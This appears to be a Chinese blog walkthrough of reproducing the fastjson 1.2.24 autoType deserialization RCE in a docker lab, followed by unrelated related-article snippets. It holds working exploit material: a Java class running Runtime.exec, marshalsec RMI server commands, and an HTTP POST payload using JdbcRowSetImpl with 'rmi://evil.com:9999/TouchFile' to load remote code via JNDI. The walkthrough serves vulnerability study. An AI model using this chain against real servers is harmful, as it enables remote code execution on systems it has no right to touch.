fastjson 1.2.24 反序列化导致任意命令执行漏洞

漏洞描述

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。 通过查找代码中相关的方法,即可构造出一些恶意利用链。

参考资料:

  • 浅谈Fastjson RCE漏洞的绕过史 - FreeBuf网络安全行业门户
  • http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/

漏洞环境及利用

搭建docker环境

环境运行后,访问即可看到JSON格式的输出。http://your-ip:8090

我们向这个地址POST一个JSON对象,即可更新服务端的信息:

curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'

因为目标环境是Java 8u102,没有的限制,我们可以使用的利用链,借助JNDI注入来执行命令。com.sun.jndi.rmi.object.trustURLCodebasecom.sun.rowset.JdbcRowSetImpl

首先编译并上传命令执行代码

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }

我这里直接用主机编译成字节码文件(最好不要拖,可能因为这个损坏文件不能复现)

将生成的字节码文件拖到虚拟机并在字节码文件处开启http服务

使用Java反序列化利用工具marshalsec辅助开启RMI环境

marshalsec:

git clone https://github.com/mbechler/marshalsec

maven:

 sudo apt-get install maven 

进入目录进行项目编译

mvn clean package -DskipTests

进入target目录,可以看到编译成功

 执行

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://刚class文件的ip或域名/#TouchFile" 9999

向靶场服务器发送Payload,带上RMI的地址:

POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://evil.com:9999/TouchFile",
        "autoCommit":true
    }
}

 

查看目录,看到文件创建成功

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/196024.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

平安银行广州分行:财富杯高球决赛斩获佳绩,花橙俱乐部精彩迭出

夯实专业高球赛事服务,保障平安财富杯决赛勇创佳绩 11月23日,2023第十一届平安财富杯高尔夫球邀请赛总决赛在风景优美的海南万宁市东澳镇神州半岛高尔夫球会完美收官。平安银行来自全国各地的私行客户欢聚一堂,与蓝天白云为伴,绿水…

计算机毕业设计项目选题推荐(免费领源码)java+SSM+MYSQL高校学生选课系统01483

目 录 摘要 1 绪论 1.1 研究背景 1.2开发意义 1.3ssm框架 1.4论文结构与章节安排 2 2 高校学生选课系统系统分析 2.1 可行性分析 2.2 系统流程分析 2.2.1 数据增加流程 2.2.2 数据修改流程 2.2.3数据删除流程 2.3 系统功能分析 2.3.1功能性分析 2.3.2非功能性分析…

进程(4)——进程地址空间【linux】

进程(4)——进程地址空间【linux】 一.什么是进程地址空间二.进程地址空间不是真实地址?三.物理地址与进程地址空间的关系(整体部分)四. 细节4.1 进程地址空间的本质:4.2 为什么要有进程地址空间&#xff1…

初识Linux(2).妈妈再也不用担心我Linux找不到门了。

文章目录 前言 1.man指令(重要):例如: 2.cp指令(重要):例如:把123.txt复制到a目录中类似window如下操作: 3.mv例如:类似window如下操作: 4.nano例…

LeetCode [简单]118. 杨辉三角

给定一个非负整数 numRows&#xff0c;生成「杨辉三角」的前 numRows 行。 在「杨辉三角」中&#xff0c;每个数是它左上方和右上方的数的和。 public class Solution {public IList<IList<int>> Generate(int numRows) {List<IList<int>> res new …

【JavaEE初阶】 HTTP协议和使用Fiddler抓包

文章目录 &#x1f38d;HTTP协议是什么&#xff1f;&#x1f340;应用层协议&#xff08;HTTP&#xff09;存在的意义&#x1f384;HTTP 协议的工作过程&#x1f334;HTTP 协议格式&#x1f333;Fiddler抓包工具的使用&#x1f6a9;如何抓HTTPS的包&#xff1f; &#x1f38b;抓…

使用echars实现数据可视化

生活随笔 展翅飞翔之际 请下定决心不再回头 echars实现数据可视化 在搭建后台页面时&#xff0c;可能会遇到很多的表格&#xff0c;但有时表格所展现的数据并不能直观的体现出当前用户的宏观信息&#xff0c;所以就可以引入一个新的表格插件——echars 快速上手 - Handbook…

Python语言学习笔记之三(字符编码)

本课程对于有其它语言基础的开发人员可以参考和学习&#xff0c;同时也是记录下来&#xff0c;为个人学习使用&#xff0c;文档中有此不当之处&#xff0c;请谅解。 什么是字符编码 计算机从本质上来说只认识二进制中的0和1&#xff0c;字符编码(Character Encoding) 是一种将…

代码随想录算法训练营第35天| 860.柠檬水找零 406.根据身高重建队列 452. 用最少数量的箭引爆气球

JAVA代码编写 860.柠檬水找零 在柠檬水摊上&#xff0c;每一杯柠檬水的售价为 5 美元。顾客排队购买你的产品&#xff0c;&#xff08;按账单 bills 支付的顺序&#xff09;一次购买一杯。 每位顾客只买一杯柠檬水&#xff0c;然后向你付 5 美元、10 美元或 20 美元。你必须…

面向对象基础小结

面向对象基础小结 面向对象和面向过程的区别 两者的主要区别在于解决问题的方式不同&#xff1a; 面向过程&#xff1a;是把解决问题的过程拆成一个个方法&#xff0c;通过一个个方法的执行解决问题。面向对象&#xff1a;会先抽象出对象&#xff0c;然后用对象执行方法的方…

Deepin使用记录-deepin系统开启SSH服务

1、检查安装的deepin系统是否已经开启SSH功能。 $ ps -e | grep ssh $ ps -e | grep ssh 查看是否启动ssh 2、安装openssh-server服务 sudo apt-get install openssh-server 如果出现以上提示&#xff0c;就表示你已经安装了ssh服务&#xff0c;只是还没有启动。 3、安装完…

大模型fine-tune 微调

大模型的 Fine-tune 我们对技术的理解&#xff0c;要比技术本身更加重要。 正如我在《大模型时代的应用创新范式》一文中所说&#xff0c;大模型会成为AI时代的一项基础设施。 作为像水、电一样的基础设施&#xff0c;预训练大模型这样的艰巨任务&#xff0c;只会有少数技术…

关于Linux服务器高并发场景下系统参数优化的诸多奇技淫巧

文章目录 &#x1f50a;博主介绍&#x1f964;本文内容开篇内存优化——马达与燃油磁盘优化——加油与换胎网络参数优化——挂挡与提速进程优化——适度开疆拓土 &#x1f4e2;文章总结&#x1f4e5;博主目标 &#x1f50a;博主介绍 &#x1f31f;我是廖志伟&#xff0c;一名Ja…

设二维数组a[1...m,1...n]()含有m*n个整数。写一个算法判断a中所有元素是否互不相同,并输出相关信息(yes/no)

设二维数组a[1…m&#xff0c;1…n]&#xff08;&#xff09;含有m*n个整数。 写一个算法判断a中所有元素是否互不相同&#xff0c;并输出相关信息&#xff08;yes/no) 分析其时间复杂度 代码思路&#xff1a; 这种如果纯暴力做的话时间复杂度非常高。 我这里考虑把题目中的二…

「Linux」git的安装与使用

&#x1f4bb;文章目录 &#x1f4c4;前言安装git的使用配置git初始化 git 仓库提交文件推送到远端使用HTPPS方式&#xff1a;SSH方式 &#x1f4d3;总结 &#x1f4c4;前言 git是一款多平台的版本管理器&#xff0c;用于对代码进行版本控制&#xff0c;如果你还不知如何安装gi…

虚幻学习笔记6—摄像机控制

一、前言 摄像机在虚幻中的应用是最常见的。如通常在游戏或应用中会常常出现需要切换不同视角的情况、摄像机拉近缩小等&#xff0c;这个在虚幻中是怎么实现的呢。 二、实现视点切换 2.1、提前设置场景的视点&#xff1a;如图2.1.1所示添加一个摄像机视点到关卡场景中&#x…

Java数据结构之优先级队列(PriorityQueue)

1、概念 队列&#xff1a;是一种FIFO&#xff08;First-In-First-Out&#xff09;先进先出的数据结构&#xff0c;对应于生活中的排队的场景&#xff0c; 排在前面的人总是先通过&#xff0c;依次进行。 优先队列&#xff1a;是特殊的队列&#xff0c;从“优先”一词&#xff…

计算机网络(超详解!) 第一节计算机网络的性能指标

1.速率 比特&#xff08;bit&#xff09;是计算机中数据量的单位&#xff0c;也是信息论中使用的信息量的单位。 比特&#xff08;bit&#xff09;来源于 binary digit&#xff0c;意思是一个“二进制数字”&#xff0c;因此一个比特就是二进制数字中的一个 1 或 0。 速率是…

游戏软件的设计方法

游戏软件的设计是一个综合性的过程&#xff0c;涉及到多个方面&#xff0c;包括游戏概念、用户体验、技术实现等。以下是一般的游戏软件设计方法&#xff0c;希望对大家有所帮助。北京木奇移动技术有限公司&#xff0c;专业的软件外包开发公司&#xff0c;欢迎交流合作。 明确游…